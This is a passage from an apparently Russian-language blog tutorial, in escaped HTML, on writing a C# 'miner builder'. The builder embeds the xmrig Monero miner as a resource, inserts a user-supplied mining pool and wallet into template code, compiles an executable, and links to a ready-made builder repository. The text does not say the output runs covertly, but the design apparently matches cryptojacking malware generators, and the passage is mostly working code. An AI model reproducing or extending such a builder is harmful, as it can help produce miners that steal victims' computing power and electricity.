  &lt;p id=&quot;JyaQ&quot;&gt;Добавляем &lt;strong&gt;xmrig &lt;/strong&gt;в ресурсы, для нашего компилятора&lt;/p&gt;
  &lt;p id=&quot;DpBY&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;ahy8&quot;&gt; &lt;code&gt;string resxPath2 = &amp;quot;VolVeRFMR.Properties.Resources&amp;quot;; &lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;Ct5a&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;AsRF&quot;&gt;&lt;code&gt;using (var v = new ResourceWriter(Path.GetTempPath() + @&amp;quot;\&amp;quot; + resxPath2 + &amp;quot;.resources&amp;quot;))&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;lKOQ&quot;&gt;&lt;code&gt;{&lt;br /&gt;v.AddResource(&amp;quot;xmrig&amp;quot;, Properties.Resources.xmrig); // Кидаем xmrig в ресурсы &lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;ixc1&quot;&gt;&lt;code&gt;}&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;BAss&quot;&gt;&lt;code&gt;Params.EmbeddedResources.Add(System.IO.Path.GetTempPath() + @&amp;quot;\&amp;quot; + resxPath2 + &amp;quot;.resources&amp;quot;);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;ua9L&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;1LYb&quot;&gt;Дальше заменяем значения для textbox &lt;/p&gt;
  &lt;p id=&quot;yAFs&quot;&gt;&lt;code&gt;resource = resource.Replace(&amp;quot;*MASSEGE*&amp;quot;, textBox1.Text); // Заменяем значения для MASSEGE &lt;br /&gt;resource = resource.Replace(&amp;quot;*MASSEGE2*&amp;quot;, textBox2.Text); // Заменяем значения для MASSEGE2&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;nA2B&quot;&gt;Идем в &lt;strong&gt;Program &lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;uPPu&quot;&gt;и заменяем там так &lt;/p&gt;
  &lt;p id=&quot;SdVm&quot;&gt;&lt;code&gt;const string pool = &amp;quot;*MASSEGE2*&amp;quot;; // Наши значения в строке pool&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;6s0c&quot;&gt;&lt;code&gt;const string moneroWallet = &amp;quot;*MASSEGE*&amp;quot;; // Наши значения в строке moneroWallet&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;hikI&quot;&gt;И дальше дописываем  &lt;strong&gt;button1_Click&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;ZtWH&quot;&gt;  &lt;code&gt;var settings = new Dictionary&amp;lt;string, string&amp;gt;();&lt;br /&gt;settings.Add(&amp;quot;CompilerVersion&amp;quot;, &amp;quot;v4.0&amp;quot;); //Указываем версию framework-a 2.0&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;LXn8&quot;&gt;&lt;code&gt;CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, resource, resource2, resource3);&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;R83i&quot;&gt;&lt;code&gt;if (Results.Errors.Count &amp;gt; 0)&lt;br /&gt; {&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;ltvy&quot;&gt;&lt;code&gt;foreach (CompilerError err in Results.Errors)&lt;br /&gt;MessageBox.Show(err.ToString()); //Выводим циклом ошибки, если они есть&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;  MessageBox.Show(&amp;quot;Готово, файл появится в том же месте где и программа :)&amp;quot;); //Выводим сообщение что всё прошло успешно&lt;br /&gt;  }&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;K14r&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cd/23/cd23ad6a-e504-4439-afa1-cb4371c4f971.png&quot; width=&quot;555.5&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GavO&quot;&gt;После этого делаем ресурсы, опять идем в &lt;strong&gt;Program,  &lt;/strong&gt;и заменяем &lt;/p&gt;
  &lt;p id=&quot;8z2J&quot;&gt;&lt;code&gt;byte[] xmr = VolVeRFMR.Properties.Resources.xmrig; &lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;wvVP&quot;&gt;Обязательно посмотрите как именно называется ваш namespace&lt;/p&gt;
  &lt;figure id=&quot;DYzO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/df/93/df9335af-3e2e-4b10-a645-aa2921ba5ce5.png&quot; width=&quot;352&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;akj6&quot;&gt;И в &lt;strong&gt;Program &lt;/strong&gt;пишем: &lt;code&gt;using VolVeRFMR.Properties;&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;PuIu&quot;&gt;Запускаем, вводим значение и нажимаем Build, и если все работает &lt;/p&gt;
  &lt;figure id=&quot;kgtM&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/61/c1/61c150a2-ff29-4607-9560-a616b7bc1dd0.png&quot; width=&quot;348&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dJtd&quot;&gt;Кому надо уже готовый: &lt;a href=&quot;https://github.com/VolVeRFM/CPU-Miner-Builder&quot; target=&quot;_blank&quot;&gt;https://github.com/VolVeRFM/CPU-Miner-Builder&lt;/a&gt;&lt;/p&gt;

</content></entry></feed>